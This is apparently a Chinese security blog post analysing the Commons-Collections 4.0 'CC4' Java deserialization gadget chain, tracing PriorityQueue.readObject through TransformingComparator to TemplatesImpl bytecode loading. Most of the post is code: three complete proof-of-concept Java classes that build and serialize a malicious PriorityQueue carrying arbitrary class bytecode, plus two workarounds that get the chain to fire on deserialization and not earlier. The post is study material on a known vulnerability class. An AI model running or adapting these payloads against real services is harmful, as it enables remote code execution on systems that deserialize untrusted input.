Java反序列化–CC4
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

坏了,写过的cc2怎么没在这里面!o(╥﹏╥)o

环境配置

CC:Commons-Collections 4.0

jdk版本:jdk8u65

修改pom.xml为4.0版本即可

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

链子

实际来说CC4就是不同于CC1的一条分支,后半段是CC3的后半段

其中与CC1中调用LazyMap.get()方法不同的是,CC4链子用的是TransformingComparator#compare()方法

由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在

CC4链子

/*
PriorityQueue.readObject()
  PriorityQueue.heapify()  
      PriorityQueue.siftDown()
          PriorityQueue.siftDownUsingComparator()
              TransformingComparator.compare()
                  ChainedTransformer.transform()
                      InstantiateTransformer.transform()
                          TemplatesImpl.newTransformer()
                              defineClass()->newInstance()
*/

分析

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
  private static final long serialVersionUID = 3456940356043606220L;
  private final Comparator<O> decorated;
  private final Transformer<? super I, ? extends O> transformer;

  public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
      this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
  }

  public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
      this.decorated = decorated;
      this.transformer = transformer;
  }

  public int compare(I obj1, I obj2) {
      O value1 = (O)this.transformer.transform(obj1);
      O value2 = (O)this.transformer.transform(obj2);
      return this.decorated.compare(value1, value2);
  }

老样子看看哪里调用了compare()

在PriorityQueue类里的siftDownUsingComparator方法调用了compare方法

private void siftDownUsingComparator(int k, E x) {
      int half = size >>> 1;
      while (k < half) {
          int child = (k << 1) + 1;
          Object c = queue[child];
          int right = child + 1;
          if (right < size &&
              comparator.compare((E) c, (E) queue[right]) > 0)
              c = queue[child = right];
          if (comparator.compare(x, (E) c) <= 0)
              break;
          queue[k] = c;
          k = child;
      }
      queue[k] = x;
  }

接着往上找,本类中的siftDown调用了此方法

  private void siftDown(int k, E x) {
      if (comparator != null)
          siftDownUsingComparator(k, x);
      else
          siftDownComparable(k, x);
  }

继续顺着链子走,本类中的heaplify()调用了siftDown()

private void heapify() {
      for (int i = (size >>> 1) - 1; i >= 0; i--)
          siftDown(i, (E) queue[i]);
  }

最后找到readObject方法调用了heapify方法

 private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      // Read in size, and any hidden stuff
      s.defaultReadObject();

      // Read in (and discard) array length
      s.readInt();

      queue = new Object[size];

      // Read in all elements.
      for (int i = 0; i < size; i++)
          queue[i] = s.readObject();

      // Elements are guaranteed to be in "proper order", but the
      // spec has never explained what that might be.
      heapify();
  }

构造POC

我们可以看到PrioritQueue类是可以序列化的

public class PriorityQueue<E> extends AbstractQueue<E>
  implements java.io.Serializable

所以写起来比较的简单,我们先来尝试写一下

package CC4;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;


public class Heapify_test {
  public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","sunsun");

      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates,"_bytecodes",codes);

      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(TrAXFilter.class),
              instantiateTransformer
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

      TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
      PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

      priorityQueue.add(3);
      priorityQueue.add(4);

      //serialize(priorityQueue);
      //unserialize("CC4.txt");
  }
  public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }
   
  public static void serialize(Object object) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
      oos.writeObject(object);
      oos.close();
  }

 
  public static void unserialize(String filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}

但是并没有弹出计算器,打个断点看看

其实是在这里,我们看到size为0,进入此for循环后,会变成-1,所以就不会进入siftDown方法,后续就连不起来

如果希望能够进入 siftDown 方法,那么 size 至少要为 2

解决方法很简单,我们只要利用本类中的add方法,去改变size的值即可

priorityQueue.add(3);
priorityQueue.add(4);

其中add方法是

add() -> offer() -> siftUp() -> siftUpUsingComparator()

设置两次,size的值就可以为2了,自己测试可以看到size+1

但是一直跟进,会发现在第二次时,他调用了add顺下了的compare提前结束了链子,而不是通过反序列化

可以看到确实是这样的

所以我们就先不对transformingComparator进行赋值,等add执行过后,我们通过反射再改回即可

修改后的POC

package CC4;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CC4_poc2 {
  public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","sunsun");

      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codeplus = {code};
      setFieldValue(templates,"_bytecodes",codeplus);

      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(TrAXFilter.class),
              instantiateTransformer
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
      PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
       
      priorityQueue.add(3);
      priorityQueue.add(3);
      setFieldValue(transformingComparator,"transformer",chainedTransformer);

      serialize(priorityQueue);
      unserialize("CC4.txt");
  }
  public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }
 
  public static void serialize(Object object) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
      oos.writeObject(object);
      oos.close();
  }
   
  public static void unserialize(String filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}

第二种方法

还有一种方法就是,通过反射去赋值

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Class priorityqueue = priorityQueue.getClass();
Field size = priorityqueue.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

通过这样,直接就给size赋值为2了

package CC4;


import java.io.*;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;




public class CC4_poc1 {
  public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","a");

      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates,"_bytecodes",codes);

      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(TrAXFilter.class),
              instantiateTransformer
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

     
      TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
      PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

      Class priorityqueue = priorityQueue.getClass();
      Field size = priorityqueue.getDeclaredField("size");
      size.setAccessible(true);
      size.set(priorityQueue, 2);
      serialize(priorityQueue);
      unserialize("CC4.txt");
  }
  public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }

  public static void serialize(Object object) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
      oos.writeObject(object);
      oos.close();
  }
   
  public static void unserialize(String filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇